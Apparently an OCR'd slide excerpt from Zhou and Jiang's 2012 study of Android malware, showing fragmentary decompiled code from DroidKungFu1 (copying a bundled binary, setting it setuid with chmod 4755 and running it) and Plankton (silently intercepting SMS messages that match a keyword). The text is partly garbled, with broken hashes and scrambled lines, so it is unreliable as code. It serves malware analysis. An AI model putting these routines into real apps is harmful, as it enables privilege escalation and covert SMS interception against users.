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DroidKungFu1: 28176bc34e54e087e90bbbabalc846ec9182db17

class com.google.ssearch.SearchService {

getPermissionl () {
s = “/gjsvro”;
fname = “/data/data/“ + packageName + s;

Utils.copyAssets(ctx, s, fname);

cmd = “/system/bin/chmod”;
arg = “4755 " + fname;
Utils.oldrun(cmd, arg);

cmd2 = fname + “ /data/data/“
Utils.oldrun(cmd2, “");

+ packageName;

*Plankton: 202252e3767456e95b27d0476ae29bcc11253c1e

class SMSBroadcastReceiver extends BroadcastReceiver {
onReceive(ctx, intent) {

arr (Object[]) intent.getExtras().get(“pdus”);
marr = new SmsMessage[arr.length];
for(i=0;i<arr.length;i++) {

buf = (byte[])arr[i];
msg = SmsMessage.createFromPdu(buf);
marr[i] = msg;

= marr[0].getMessageBody();
2 = SharedPreference.getString

(“sms_keyword”, “Bring me back my droid”);
if(!s.equalsIgnoreCase(s2)) return;
abortBroadcast();

n n -

*Yajin Zhou, and Xuxian Jiang, “Dissecting Android Malware: Characterization and Evolution”,
Proceedings of the 33rd IEEE Symposium on Security and Privacy (Oakland 2012)
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